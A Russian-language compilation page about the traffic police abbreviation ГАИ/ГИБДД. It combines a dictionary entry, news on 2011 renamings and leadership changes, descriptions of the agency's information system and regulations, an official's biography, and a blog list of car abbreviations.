Гаи расшифровка это: ГАИ — Викисловарь

ГАИ — Викисловарь

См. также Гаи.

В Википедии есть страница «ГАИ».

Содержание

• 1 Русский
  • 1.1 Морфологические и синтаксические свойства
  • 1.2 Произношение
  • 1.3 Семантические свойства
    • 1.3.1 Значение
    • 1.3.2 Синонимы
    • 1.3.3 Антонимы
    • 1.3.4 Гиперонимы
    • 1.3.5 Гипонимы
  • 1.4 Перевод
  • 1.5 Анаграммы
  • 1.6 Библиография

Морфологические и синтаксические свойства[править]

Аббревиатура, неизменяемая. Используется в качестве существительного женского рода единственного числа.

Произношение[править]

• МФА: [ɡɐˈi]

Семантические свойства[править]

Значение[править]

1. устар. сокр. от Государственная автомобильная инспекция ◆ Отсутствует пример употребления (см. рекомендации).

Синонимы[править]

1. ГИБДД, Государственная автомобильная инспекция

Антонимы[править]

1. —

Гиперонимы[править]

1. служба, инспекция

Гипонимы[править]

1. ?

Перевод[править]

Список переводов
Украинскийuk: ДАІ

Анаграммы[править]

• ГИА, Ига

Библиография[править]

• ГАИ // Мультимедийный лингвострановедческий словарь «Россия». — М. : Государственный институт русского языка им. А. С. Пушкина, 2014—2017.

Для улучшения этой статьи желательно: Использовать соответствующий шаблон словоизменения в «Морфологические и синтаксические свойства» Добавить описание морфемного состава с помощью {{морфо-ru}} Добавить пример словоупотребления для значения с помощью {{пример}} Добавить секцию «Этимология»

У ГИБДД сменилось название и руководство: Россия: Lenta.

ru

14 июня СМИ сообщили, что Дмитрий Медведев назначил нового начальника ГИБДД. Строго говоря, это не совсем так. Аббревиатура ГИБДД исчезла из названия главка дорожной милиции еще в 2004 году. А теперь подразделение снова переименовано. И это в данной ситуации — не единственный момент, трудный для понимания. В МВД объясняют перестановки необходимостью ротации кадров, а некоторые аналитики считают происходящее следствием «борьбы в тандеме». Ни те, ни другие объяснения не делают ситуацию более понятной.

С 1936 года и до недавнего времени дорожная милиция в нашей стране обозначалась аббревиатурой ГАИ (Государственная автомобильная инспекция). В конце 1990-х годов ее переименовали в ГИБДД (Государственная инспекция безопасности дорожного движения). Это переименование породило множество чисто лингвистических споров, которые так увлекли россиян, что те не заметили еще одного новшества. В 2004 году Главное управление ГИБДД (одно из подразделений центрального аппарата МВД, контролирующее автоинспекторов) было переименовано в Департамент по обеспечению безопасности дорожного движения (ДОБДД). Структура дорожной милиции на ее официальном сайте стала выглядеть так: центральный ДОБДД МВД является руководящим органом по отношению к региональным управлениям ГИБДД.

Но этот любопытный факт можно уже не запоминать. Ибо в рамках новой реформы МВД, начатой в 2009 году и ознаменованной превращением милиции в полицию, ДОБДД решили снова переименовать. На этот раз в Главное управление по обеспечению безопасности дорожного движения (ГУОБДД).

На фоне многочисленных переименований крайне трудно отследить перемещения руководителей дорожной инспекции, департамента или управления. Особенно если учесть, что обычно переименование производится путем «ликвидации» старого подразделения и «создания» на его месте нового. Но уловить общую динамику все-таки можно.

В 2004 году главой ДОБДД МВД стал Виктор Кирьянов, до этого занимавший пост заместителя начальника ГУ ГИБДД (то есть фактически его перевели с должности заместителя главы подразделения на пост главы переименованного подразделения). Кирьянов с 1970-х годов служил в ГАИ Санкт-Петербурга, а в главк ГИБДД был переведен в 2001 году. Естественно, при повышении многие аналитики указали на «питерское» происхождение Кирьянова. Хотя для скепсиса было не так много причин — чиновник отличался безупречной репутацией, получив за время работы примерно сорок поощрений и ни одного взыскания. Впоследствии репутация Кирьянова была несколько подпорчена: в 2008 году его машина, нарушив правила, сбила женщину, переходившую дорогу в неположенном месте. Но и тут чиновник постарался вести себя безупречно — оказал пострадавшей первую помощь, самостоятельно вызвал «скорую»… Уголовное дело по факту ДТП не возбудили.

В августе 2010 года, когда новая реформа МВД уже была в разгаре, Департамент обеспечения правопорядка на транспорте, Оперативно-розыскное бюро номер 11 и Центр оперативного управления ОВД на транспорте были объединены в новое подразделение под названием Главное управление МВД на транспорте. Начальником управления назначили Дмитрия Шаробарова, который до этого был первым заместителем начальника Департамента обеспечения правопорядка на транспорте. Также были назначены начальники управлений на транспорте по федеральным округам. В частности, управление по Центральному федеральному округу возглавил Андрей Алексеев.

В январе 2011 года в московском аэропорту «Домодедово» произошел теракт, жертвами которого стали 37 человек. Аналитики сразу возложили вину за произошедшее на Шаробарова и Алексеева. 31 января президент Дмитрий Медведев отправил в отставку сразу нескольких чиновников, самым высокопоставленным из которых был Алексеев (впрочем, и тут все не так однозначно — на официальном сайте ГУ МВД на транспорте по ЦФО начальником подразделения до сих пор значится именно он). Шаробаров же должность сохранил, и 14 июня 2011 года состоялось его переназначение (проще говоря, Медведев, рассмотрев вопрос о возможной смене начальника ГУ МВД на транспорте, пришел к выводу, что Шаробаров его вполне устраивает).

Гораздо более заметным шагом Медведева после теракта стало создание специальной должности заместителя министра внутренних дел по безопасности на транспорте и объектах транспортной инфраструктуры. На эту должность перевели Виктора Кирьянова. А ДОБДД МВД на несколько месяцев остался фактически без руководителя. Обязанности главы подразделения временно исполнял его заместитель Владимир Швецов, но было непохоже, чтобы его собирались сделать полноправным начальником.

И вот 14 июня начальником ДОБДД МВД, переименованного в ГУОБДД, был назначен другой бывший заместитель Кирьянова — Виктор Нилов. Если же говорить проще (как и делают большинство СМИ), то Нилов стал «главой ГИБДД». СМИ уже опубликовали его полное «резюме» — с 1970-х по 2007 год служил в петербургской ГАИ (и ГИБДД), в 2007 году стал помощником главы ДОБДД МВД, в 2009 году ненадолго был переведен на пост помощника главы МВД, но почти сразу вернулся в ДОБДД. На протяжении своей карьеры Нилов почти никогда не попадал в новости (не считая дежурных выступлений по поводу крупных аварий и планируемых нововведений). Разве что в марте 2011 года, когда на его машину в Москве упала сосулька… Таким образом, трудно сказать, чего можно ожидать от нового главного автоинспектора — о его личности почти ничего не известно.

Дмитрий Медведев. Фото (c)AFP

Lenta.ru

Почти одновременно в МВД произошли иные важные события. В праздничную субботу 11 июня, когда вся страна отдыхала и не следила за новостями, Медведев снял с должностей сразу трех заместителей главы МВД: первого заместителя Михаила Суходольского, заместителя Евгения Школова и замминистра — начальника следственного комитета ведомства Алексея Аничина. Суходольского понизили в должности — он стал главой ГУ МВД по Санкт-Петербургу и Ленинградской области вместо Владислава Пиотровского, который на днях был уволен. Некоторые аналитики предполагают, что Суходольского послали в Санкт-Петербург «навести порядок». Однако их оппоненты возражают — по данным СМИ, Суходольский и Пиотровский являются близкими друзьями. Также высказывается предположение, что перестановки связаны с предвыборной гонкой — якобы Медведев снимает с должностей «людей Владимира Путина» и заменяет их своими ставленниками. Впрочем, конкретики в этой версии довольно мало.

Глава МВД Рашид Нургалиев объяснил ситуацию ничуть не более внятно. Он заявил: «И Михаил Суходольский, и Евгений Школов, и Алексей Аничин 3 июня прошли переаттестацию, зарекомендовали себя с положительной стороны. Это очень ответственные руководители, которые имеют большой опыт работы. Вместе с тем существует принцип ротации, который характерен для всех». Чуть позже министр развил свою мысль — он сказал, что ротация, то есть перевод чиновников на другую равнозначную должность, впредь будет осуществляться в высших эшелонах МВД каждые пять лет. По словам Нургалиева, это поможет борьбе с коррупцией и стимулирует передачу позитивного опыта.

Гораздо более ясно в беседе с газетой «Коммерсантъ» выразился зампред комитета Госдумы по безопасности Геннадий Гудков. Депутат признался: «Значительные кадровые изменения в высшем руководстве МВД, произведенные президентом Дмитрием Медведевым, на мой взгляд, не могут вызвать ни одобрения, ни порицания, а лишь недоумение, поскольку никому — ни парламенту, ни общественности — не объясняются истинные причины смещения и назначения отдельных руководителей этого ведомства». Пожалуй, это применимо не только к трем заместителям министра, но и к Нилову, и ко многим другим представителям руководства МВД.

ФИС ГИБДД-М — разработка системы для ГИБДД МВД России

Система предназначена для обеспечения деятельности подразделений Госавтоинспекции МВД России, а также их взаимодействие с соответствующими органами государственной власти Российской Федерации и другими организациями.

О ГИБДД МВД РФ

Госавтоинспекция МВД России (также Государственная инспекция безопасности дорожного движения, ГИБДД, ГАИ) — подразделение в структуре МВД РФ, которое осуществляет контрольные, надзорные и разрешительные функции в области обеспечения безопасности дорожного движения. Задачами Госавтоинспекции в настоящее время являются обеспечение соблюдения предприятиями и организациями всех форм собственности, гражданами нормативных правовых актов в области безопасности дорожного движения, а также сохранение жизни и здоровья граждан на улицах и автодорогах страны.

Автоматизация деятельности ГИБДД

На данный момент России насчитывается более 42 миллионов автотранспортных средств, существенная часть граждан нашей страны (43%) имеют водительские права.

До недавнего времени вся информация о зарегистрированных транспортных средствах, выданных водительских удостоверениях, административных нарушениях содержалась и обрабатывалась в нескольких слабосвязанных информационных системах Госавтоинспекции регионального и федерального уровней, что приводило к постоянным сбоям и задержкам в работе подразделений ГИБДД. Кроме того, при таком уровне связей, было проблематично оказание в электроном виде государственных услуг, связанных с деятельностью ГИБДД (выдача прав, регистрация автотранспорта и другие).

Федеральная информационная система ГИБДД

Для решения этих задач, а также для общего повышения качества работы ГАИ была создана единая централизованная система Госавтоинспекции. Система получившая шифр «ФИС ГИБДД-М», позволяет автоматизировать деятельность регистрационно-экзаменационных и строевых подразделений Госавтоинспекции, а также процессы поиска и закрытия информации об участниках дорожного движения и их транспортных средствах.

Основные возможности ФИС ГИБДД-М

Стал доступен обмен данными между подразделениями Госавтоинспекции в режиме реального времени: информация о регистрации автомобиля, лишении права на управление транспортным средством, информация об административных правонарушениях — все эти и многие другие данные стали мгновенно доступны в любом подразделении.

Для граждан сократилось время оказания государственных услуг и получения информации о штрафах за совершение административных правонарушений (на портале госуслуг и сайте ГИБДД), а так же информации об их оплате.

Результаты

На данный момент к ФИС ГИБДД-М уже подключено более 18400 пользователей в 12 регионах РФ (в том числе Ставропольский край, Нижегородская область, Республика Тыва). Система позволяет еженедельно проводить регистрационные действия по более чем 25 000 транспортных средств и обеспечивает выдачу более 11 700 водительских прав. Кроме того, каждую неделю через систему проходит информация о 162 200 административных правонарушений (в том числе зафиксированных видеокамерами).

В ближайших планах внедрение системы во всех субъектах РФ, поддержка одновременной работы порядка 100 тысяч пользователей, а так же повышение качества и сокращение времени оказанием услуг, развитие функций системы.

Межрайонный регистрационно-экзаменационный отдел Государственной инспекции безопасности дорожного движения МВД по Республике Алтай

1. Межрайонный регистрационно-экзаменационный отдел Государственной инспекции безопасности дорожного движения Министерства внутренних дел по Республике Алтай (далее — МРЭО ГИБДД МВД по Республике Алтай) — структурное подразделение Отдела Государственной инспекции безопасности дорожного движения Министерства внутренних дел по Республике Алтай (далее — МВД по Республике Алтай), выполняющее комплекс мероприятий, направленных на обеспечение допуска транспортных средств к участию в дорожном движении на территории Республики Алтай.

Начальник МРЭО ГИБДД МВД по Республике Алтай: капитан полиции Князев Максим Юрьевич.

2. МРЭО ГИБДД МВД по Республике Алтай в своей деятельности руководствуется Конституцией Российской Федерации, федеральными конституционными законами, Законом Российской Федерации «О полиции», Кодексом об административных правонарушениях Российской Федерации, Федеральным законом «О безопасности дорожного движения», другими федеральными законами, указами и распоряжениями Президента Российской Федерации, постановлениями и распоряжениями Правительства Российской Федерации, нормативными правовыми актами Министерства внутренних дел Российской Федерации, Конституцией Республики Алтай, законами и иными нормативными правовыми актами Республики Алтай, нормативными правовыми актами МВД по Республике Алтай, а также настоящим Положением.

3. Деятельность МРЭО ГИБДД МВД по Республике Алтай строится на принципах законности, гуманизма, уважения прав и свобод человека и гражданина, гласности, во взаимодействии с другими подразделениями органов внутренних дел Российской Федерации, органами государственной власти, органами местного самоуправления, военной автомобильной инспекцией, юридическими лицами и иными организациями, средствами массовой информации, а также сотрудничает в установленном порядке с правоохранительными органами иностранных государств.

4. Структура и штатная численность МРЭО ГИБДД МВД по Республике Алтай определяются в установленном порядке по предложению начальника МРЭО ГИБДД МВД по Республике Алтай и по согласованию с начальником ОГИБДД МВД по Республике Алтай.

Структура МРЭО ГИБДД МВД по Республике Алтай включает отделение регистрационной работы; группу экзаменационной работы; канцелярию.

5. При начальнике МРЭО ГИБДД МВД по Республике Алтай может создаваться действующее оперативное совещание.

6. МРЭО ГИБДД МВД по Республике Алтай находится в непосредственном подчинении у начальника ОГИБДД МВД по Республике Алтай.

7. Финансирование и материально-техническое обеспечение МРЭО ГИБДД МВД по Республике Алтай осуществляются в установленном порядке.

8. МРЭО ГИБДД МВД по Республике Алтай имеет штампы и бланки со своим наименованием.

Основные задачи:

9. Организация выполнения возложенных на МРЭО ГИБДД МВД по Республике Алтай обязанностей по регистрации транспортных средств и номерных агрегатов.

10. Организация работы по приему квалификационных экзаменов и выдаче водительских удостоверений.

11. Руководство деятельностью подразделения по выполнению возложенных на них обязанностей.

Функции:

12. Осуществляет государственный учет и надзор за соответствием конструкции, технического состояния и оборудования транспортных средств установленным требованиям безопасности, борьбы с преступлениями и другими правонарушениями, связанными с использованием транспортных средств, исполнения законодательства о военно-транспортной обязанности и налогового законодательства.

13. Организует принятие квалификационных экзаменов на получение права управления автомототранспортными средствами, выдачу водительских удостоверений, а также согласование программ подготовки водителей автомототранспортных средств.

14. Осуществляет регистрацию и учет автомототранспортных средств и прицепов к ним, предназначенных для движения по автомобильным дорогам общего пользования, выдачу регистрационных документов и государственных регистрационных знаков на зарегистрированные автомототранспортные средства и прицепы к ним.

15. Организует проведение в порядке, в установленном порядке, работы по розыску угнанных и похищенных автомототранспортных средств, а также автомототранспортных средств участников дорожного движения, скрывшихся с мест дорожно-транспортных происшествий.

16. Осуществляет ведение учета бланков водительских удостоверений, государственных регистрационных знаков на транспортные средства, справок-счетов и другой специальной продукции, необходимой для допуска транспортных средств и их водителей к участию в дорожном движении.

17. Осуществляет изучение условий дорожного движения, принятие мер по совершенствованию организации движения транспортных средств и пешеходов, согласование в установленном порядке проектов организации дорожного движения на территории Республики Алтай, программ подготовки и переподготовки специалистов по безопасности дорожного движения;

18. Организует и проводит профилактические мероприятия по укреплению дисциплины сотрудников и законности в деятельности МРЭО ГИБДД МВД по Республике Алтай.

19. Изучает и обобщает опыт деятельности подразделений МРЭО ГИБДД МВД по Республике Алтай, организует внедрение в практическую деятельность современных оперативно-технических средств.

20. Проводит совещания, сборы, семинары. Принимает в установленном МВД России порядке участие в мероприятиях по вопросам регистрации и розыска транспортных средств.

21. Рассматривает жалобы и заявления по вопросам деятельности МРЭО ГИБДД МВД по Республике Алтай, разрабатывает мероприятия по улучшению этой работы.

 Организация и обеспечение деятельности:

22. МРЭО ГИБДД МВД по Республике Алтай возглавляет начальник, назначаемый и освобождаемый от должности Министром внутренних дел по Республике Алтай.

23. Начальник МРЭО ГИБДД МВД по Республике Алтай несет персональную ответственность за выполнение возложенных на МРЭО ГИБДД МВД по Республике Алтай задач и функций.

24. Начальник МРЭО ГИБДД МВД по Республике Алтай:

24.1 Обеспечивает соблюдение законности в деятельности МРЭО ГИБДД МВД по Республике Алтай.

24.2. Организует и ведет прием граждан, рассматривает предложения, заявления и жалобы по вопросам, отнесенным к компетенции МРЭО ГИБДД МВД по Республике Алтай, и принимает по ним необходимые меры.

24.3. Использует при осуществлении возложенных на МРЭО ГИБДД МВД по Республике Алтай обязанностей полномочия, предоставленные нормативными правовыми актами Российской Федерации и Республики Алтай, а также нормативными правовыми актами МВД России, МВД по Республике Алтай.

24.4. Готовит руководству ОГИБДД МВД по Республике Алтай предложения по совершенствованию структуры МРЭО ГИБДД МВД по Республике Алтай.

24.5. Представляет на утверждение руководству ОГИБДД МВД по Республике Алтай планы работы МРЭО ГИБДД МВД по Республике Алтай.

24.6. Определяет должностные обязанности своих заместителей.

24.7. Обеспечивает отбор, воспитание и обучение сотрудников и работников МРЭО ГИБДД МВД по Республике Алтай.

24.8. Вносит предложения руководству ОГИБДД МВД по Республике Алтай:

24. 8.1. О назначении на должность лиц начальствующего состава МРЭО ГИБДД МВД по Республике Алтай.

24.8.2. Об изменении размеров денежного содержания сотрудников и работников МРЭО ГИБДД МВД по Республике Алтай.

24.8.3. О поощрении сотрудников и работников МРЭО ГИБДД МВД по Республике Алтай.

24.9. Обеспечивает подготовку в установленном порядке аттестаций на сотрудников МРЭО ГИБДД МВД по Республике Алтай, принимает участие в работе аттестационной комиссии МВД по Республике Алтай при их рассмотрении.

24.10. Представляет сотрудников МРЭО ГИБДД МВД по Республике Алтай к присвоению специальных званий.

24.11. Осуществляет иные полномочия, в соответствии с действующим законодательством Российской Федерации, нормативными правовыми актами МВД России.

 

 

 

Главное управление по обеспечению безопасности дорожного движения

Черников Михаил Юрьевич родился 11 января 1974 года в г. Ачинске Красноярского края. Имеет два высших образования — инженерно-строительное и юридическое. В 1995 начал службу в органах внутренних дел в должности госавтоинспектора дорожного надзора ОГАИ УВД г.Ачинска. С 1996 по 2003 годы Михаил Юрьевич проходил службу в различных подразделениях УВД г. Ачинска, занимая должности от командира роты ДПС до начальника отдела ГИБДД. С 2003 года, являясь заместителем начальника управления, Михаил Юрьевич Черников возглавлял отдел кадров, позднее милицию общественной безопасности УВД г. Ачинска и Ачинского района. С мая 2006 года М.Ю. Черников руководил Управлением ГИБДД ГУВД Красноярского края. В 2011 году Михаил Юрьевич назначен на должность заместителя начальника ГУ МВД по Ставропольскому краю, а с февраля 2015 года возглавил УМВД России по Хабаровскому краю. Указом Президента Российской Федерации от 17 июня 2017 года № 269 генерал-майор полиции Михаил Юрьевич Черников назначен на должность начальника Главного управления по обеспечению безопасности дорожного движения Министерства внутренних дел Российской Федерации. Черников М.Ю. является мастером спорта СССР по гиревому спорту, кандидатом в мастера спорта по дзюдо. Женат, воспитывает двоих детей. Скачать фото

Главное управление по обеспечению безопасности дорожного движения Министерства внутренних дел Российской Федерации (ГУОБДД МВД России) является самостоятельным структурным подразделением центрального аппарата Министерства внутренних дел Российской Федерации. ГУОБДД МВД России обеспечивает и осуществляет функции Министерства по выработке предложений по формированию и реализации основных направлений государственной политики, нормативному правовому регулированию в области обеспечения безопасности дорожного движения. Главное управление выполняет функции федерального органа управления Государственной инспекции безопасности дорожного движения Министерства внутренних дел Российской Федерации, возглавляющего систему Госавтоинспекции, и иные функции в соответствии с нормативными правовыми актами Российской Федерации, МВД России.

• Основными задачами ГУОБДД МВД России являются:

  • Основными задачами ГУОБДД МВД России являются:

    — разработка предложений по формированию и реализации основных направлений государственной политики в области обеспечения безопасности дорожного движения;

    — совершенствование нормативно-правового регулирования в области обеспечения безопасности дорожного движения;

    — организация и принятие в пределах своей компетенции мер по обеспечению безопасности дорожного движения;

    — обеспечение координации деятельности федеральных органов исполнительной власти и органов исполнительной власти субъектов Российской Федерации в области обеспечения безопасности дорожного движения;

    — совершенствование системы государственного контроля и надзора в области обеспечения безопасности дорожного движения;

    — организация и координация деятельности органов внутренних дел по обеспечению безопасности дорожного движения;

    — организационно-методическое руководство органами управления и подразделениями, входящими в систему Госавтоинспекции.

В своей деятельности Главное управление руководствуется Конституцией Российской Федерации, международными договорами Российской Федерации, федеральными конституционными законами, федеральными законами, указами и распоряжениями Президента Российской Федерации, постановлениями и распоряжениями Правительства Российской Федерации, нормативными правовыми актами МВД России и Положением о Главном управлении по обеспечению безопасности дорожного движения Министерства внутренних дел Российской Федерации.

Главное управление осуществляет руководство деятельностью Научно-исследовательского центра проблем безопасности дорожного движения Министерства внутренних дел Российской Федерации и Центра специального назначения в области обеспечения безопасности дорожного движения Министерства внутренних дел Российской Федерации.

 

121170, Москва, ул. Поклонная, 17.
Контактные телефоны:
Отделение делопроизводства (по вопросам уточнения поступления корреспонденции):
(495) 214-08-71
Официальный сайт: гибдд. рф

АМТС расшифровка аббревиатуры ГИБДД

Olzhas-TM13 ›

Блог ›
Автомобильные аббревиатуры, сокращения и их расшифровки!

Автомобильные аббревиатуры, сокращения и их расшифровки!

Автомобильные аббревиатуры на русском языке:

АБС
Анти Блокировочная система — устройство препятствующее блокировке колес автомобиля при торможении. Имеет созвучное произношение со своим аналогом на английском языке — ABS — Antilock Brake System и на немецком языке — ABS — AntiBlockier System.

АЗС
Авто-заправочная станция — станция для заправки автомобилей продуктами нефтепереработки — бензин и дизельное топливо.

АГЗС
Авто-газо-заправочная станция — станция для заправки автомобилей использующих для двигателя в качестве горючей смеси сжиженный газ.

АКБ
Аккумуляторная батарея — источник прямого электрического тока в автомобиле.

АКПП
Автоматическая коробка переключения передач — один из основных агрегатов автомобилей. Вкупе с другими узлами, АКПП передает кинетическую энергию от двигателя на колеса, позволяя использовать эту энергию максимально эффективно. Это становится возможно благодаря применению нескольких наборов зубчатых передач (наборов различного диаметра дисков с зубьями — шестеренок), сменяя которые, при работе двигателя в определенном диапазоне количества оборотов, достигается разная скорость движения автомобиля. В АКПП переключение передач происходит автоматически. Сегодня также применяются коробки ручного переключения передач — КПП

АМТС
АвтоМотоТранспортное Средство — обобщающая автомобильная аббревиатура, в основном используется для сокращения в ПДД и других нормативно-правовых документах. Широкого применения не имеет.

ВУ
Водительское удостоверение — документ подтверждающий права и возможности человека для управления транспортным средством. Сокращение словосочетания. В обиходе «Права».

ГАИ
Государственная автомобильная инспекция — аббревиатура сокращающая утратившее силу название подразделения органов внутренних дел, занимающегося вопросами дорожного движения.

ГБО
Газовое баллонное оборудование (газо-баллонное оборудование) — специализированное оборудование позволяющее использовать в качестве топлива для двигателя автомобиля не традиционные продукты нефтепереработки, а сжиженный газ (метан, смесь пропана-бутана. Для автомобилей с ГБО предусмотрены специальные заправочные станции — АГЗС.

ГРМ
Аббревиатура означает механизм газораспределения в двигателе внутреннего сгорания – «ГазоРаспределительный механизм»

ГТО
Государственный технический осмотр — служит следующим задачам: проверка соответствия технического состояния и оборудования транспортных средств требованиям нормативных правовых актов, правил, стандартов и технических норм в области обеспечения безопасности дорожного движения; контроль допуска водителей к участию в дорожном движении; предупреждение и пресечение преступлений и административных правонарушений, связанных с эксплуатацией транспортных средств; выявление похищенных транспортных средств, а также транспортных средств участников дорожного движения, скрывшихся с мест дорожно-транспортных происшествий; государственный учет показателей состояния безопасности дорожного движения.

ГУР
Аббревиатура сокращает длинное название одного из узлов автомобиля — «гидравлический усилитель руля». В настоящее время появились более совершенные механизмы облегчающие водителю взаимодействие с рулевым колесом, например, «электрический усилитель руля», но аббревиатура «ЭУР» достаточно сложна в произношении и восприятии, поэтому часто в обозначении электроусилителя руля также используют аббревиатуру ГУР.

ДВС
Двигатель внутреннего сгорания — наверное, самый распространенный на сегодня тип двигателей, по крайней мере пока. Это мотор, работа которого заключается в сгорании внутри него горючей смеси (внутри специальных камер сгорания). За счет воспламенения топливной смеси, высвобождается определенное количество энергии давления, которая, с помощью определенного набора механизмов переходит в механическую энергию, которая и используется для приведения чего-либо (например, автомобиля) в движение. Есть несколько типов и множество видов ДВС, самые известные из них это поршневые двигатели.
Несмотря на то, что пытливые умы человечества, скорее всего, раньше изобрели двигатели внешнего сгорания, аббревиатура ДВС используется исключительно для обозначение двигателей внутреннего сгорания.
На английском аббревиатура обозначающая двигатель внутреннего сгорания ICE.

ДТП
Сокращение используемое повсеместно, в том числе в законодательстве Республики Казахстан, для обозначения термина «Дорожно-транспортное происшествие».

ДХО
Дневные ходовые огни — огни головного света, работа которых подразумевается только в дневное время суток.
Отличие ДХО от ближнего света фар состоит в том, что при работе первых на автомобиле не работают (не включаются автоматически) задние габаритные световые сигналы, что не создает лишний раз путаницу с работой световых сигналов торможения.

КПП
Коробка переключения передач — один из основных агрегатов автомобиля. Чаще аббревиатурой КПП обозначается тип коробок с ручным переключением передач (не автоматические). Аналогично АКПП, КПП также передает кинетическую энергию от двигателя на колеса, их функциональное отличие заключается лишь в процессе переключения скоростных передач, в КПП он происходит не автоматически, а водителем вручную, в зависимости от скоростных показателей и потребностей движения автомобиля. Про агрегат АКПП.

ПДД
Правила дорожного движения — сокращение используется широко, в том числе в законодательстве Республики Казахстан.

ПТФ
Не так часто употребляемая аббревиатура, но все равно важная, означает «ПротивоТуманные Фары».

РТС
Система Распределения Тормозных Сил. Описание и принцип работы см. под заголовком «EBV».

СТО
Эта аббревиатура расшифровывается как «станция технического обслуживания».

ТНВД
Топливный насос высокого давления — одна из самых важных, сложных и хрупких деталей, механизмов, дизельного двигателя. Благодаря этому узлу обусловливается работа двигателя. ТНВД под определенным высоким давлением подает топливную смесь в цилиндры дизельного мотора.

ТС
Сокращение сочетания слов, термина — «транспортное средство». Используется часто, в том числе и в нормативных документах.

ЭУР
Электрический усилитель руля (рулевого управления) — система имеющая такое же назначение, что и система ГУР, но построенная на несколько другом принципе и уже более совершенная, например, с системой адаптации к скоростному режиму.

Автомобильные аббревиатуры на английском (и других) языках:

AFU
Система помощи при экстренном торможении — система посредством датчика скорости нажатия на педаль тормоза распознает ситуацию экстренного торможения. После чего действует непосредственно на тормозную систему, обеспечивая максимальную силу торможения. AFU, как и многие другие вспомогательные тормозные системы, работает в не посредственном взаимодействии с системой ABS. Максимальное давление тормозных колодок на тормозные диски и действие системы ABS поддерживается до тех пор, пока водитель полностью не отпустил педаль тормоза (ABS в этом случае отключается при полной остановке автомобиля). Система помощи при экстренном торможении позволяет гораздо быстрее и эффективнее использовать всю силу тормозов для уменьшения тормозного пути автомобиля в экстренных случаях.

ASR
Аббревиатура имеет два варианта оригинальных звучаний: Automatic Slip Regulation и Acceleration Slip Regulation, в переводе на русский язык: антипробуксовочная система. Это активная система безопасности, которая работает в тесном прямом взаимодействии с системами ABS и EBD, и призвана предотвращать пробуксовку ведущих колес автомобиля вне зависимости от дорожного покрытия и динамики разгона. Система считывает информацию с датчиков ABS и путем регулировки количества оборотов двигателя и притормаживанием отдельных колёс восстанавливает их сцепление с дорожным покрытием. Имеет другие общепринятые аббревиатуры, например: TRC (Tracktion Regulation Control). В документации к автомобилям концерна VAG аббревиатура имеет название — контроль тягового усилия.

CDI
Чаще пишется как «cDi» — common diesel (direct) injection — см. DCI.

CRDI
Чаще пишется как «crDi» — common rail diesel (direct) injection — см. DCI.

CVT
Continuously variable transmission, или постоянно изменяющаяся трансмиссия, в обиходе «Вариатор». В отличие от традиционного автомата (гидравлической АКПП) бесступенчатые трансмиссии не имеют внутри набора разных шестерен, что означает отсутствие зацепляющихся друг с другом зубчатых колес. Самый распространенный вариатор CVT работает на замысловатой системе из шкивов, позволяющей реализовывать бесконечное количество передаточных чисел между максимальными и минимальными значениями без дискретных шагов или переключений. Один, или оба шкива (ведущий и ведомый) оборудованы раздвижными боковинами; зазор между боковинами шкивов, в самом простом случае, определяется центробежным регулятором. При повышении частоты вращения двигателя и ведущего вала боковины ведущего вала сдвигаются, тем самым посадочный диаметр шкива увеличивается, а коэффициент передачи — уменьшается.
Принцип постоянно изменяющейся трансмиссии был сформулирован более 500 лет назад великим инженером Леонардо да Винчи.

DSG
Direct-Shift Gearbox (нем. Direkt-Schalt-Getriebe) – Преселективная коробка передач. Больше известная в обиходе как автоматическая коробка передач с двойным сцеплением. Аналоги у разных производителей могут звучать по разному: PDK, SST, DCG, PSG, S-tronic. Принцип работы механизма такого типа заключается в том, что в одном агрегате работают две коробки передач — одна для нечетных передач, вторая для четных. Пока автомобиль двигается на первой передаче, вторая уже включена и разгоняется параллельно с первой. В момент достижения максимального количества оборотов на первой передаче, подключается вторая коробка (с разогнавшейся второй передачей). Передачи как бы «подхватывают» друг друга на ходу, без потерь количества оборотов. Для чего это сделано? Основная задача — свести к минимуму потери энергии, происходящие в момент переключения передач – переключение происходит плавно и незаметно. Как следствие обнаружились и другие положительные характеристики при их использовании, например, снижение расхода топлива. Технология данной системы была придумана еще в 1935 году немецким изобретателем Адольфом Кегрессом, но применение получила только в наши дни.

ESP
Electronic Stability Program – электронная программа стабилизации автомобиля на дороге. Аналогичные программы у разных производителей могут звучать по разному: ESC, VDC, VSC, DSC, DSTC. Определяющее название — система курсовой устойчивости или система динамической стабилизации автомобиля. Система (программа) помогает водителю в критических ситуациях контролировать динамику автомобиля, уход автомобиля «в занос» и боковое скольжение. Система, как правило, работает в тесном взаимодействии с системой АБС (ABS).

TDI
Turbo Diesel Injection — обозначение дизельного двигателя оснащенного системой турбинного нагнетения топливной смеси (с турбонагнетателем). Может применяться с дополнительными аббревиатурами: TDI PD — Turbo Diesel Injection Pumpe Duse — двигатель TDI с системой впрыска «насос-форсунка». TDI CR — Turbo Diesel Injection Common Rail — двигатель TDI с системой прямого впрыска (Common Rail).

TSI
Иногда TSi — Twincharger Stratified Injection — двигатели концерна VAG оборудованные системами турбонагнетателей (система двойного нагнетения) и системой непосредственного (послойного) впрыска. На разных брендах концерна VAG аббревиатура может незначительно видоизменяться, например TFSI (Twincharger Fuel Stratified Injection) на автомобилях марки Audi.

Кто командует ГАИ

Подчинить все подразделения местных ГИБДД непосредственно федеральному руководству, то есть департаменту обеспечения безопасности дорожного движения МВД России предложил спикер Совета Федерации Сергей Миронов.

Сейчас московское, санкт-петербургское, казанское или омское ГИБДД подчиняются непосредственно своим главным управлениям внутренних дел или республиканским МВД. Это накладывает отпечаток на работу данных органов. Ведь зарплату они тоже получают от местных властей. Станут ли они рубить сук, на котором сидят? В результате, местные чиновники чувствуют себя на дорогах абсолютно безнаказанными, а многие приказы и распоряжения, исходящие с самого верха, либо просто не доводятся до местных гаишников, либо интерпретируются до полной неузнаваемости.

Вчера на открытии Международного молодежного интернет-форума Сергей Миронов поделился с журналистами своими идеями насчет реорганизации структуры ГИБДД.

— Я считаю, что нужна реформа, — заявил спикер СФ. — У нас структура ГИБДД входит в структуру милиции общественной безопасности, подчиняется заместителю руководителя ГУВД и губернатору.

В результате, если губернатор понимает необходимость принятия срочных мер по укреплению безопасности дорожного движения, то он и деньги на это выделяет. Но есть регионы, где гаишники сами за свой счет покупают бензин для служебных машин.

— Первое, что необходимо сделать, — утверждает Миронов, — создать структуру с подчинением головной организации (ДОБДД), а не так, как сейчас, когда в каждом регионе кто как хочет, так и понимает создание безопасности дорожного движения и сохранение человеческих жизней.

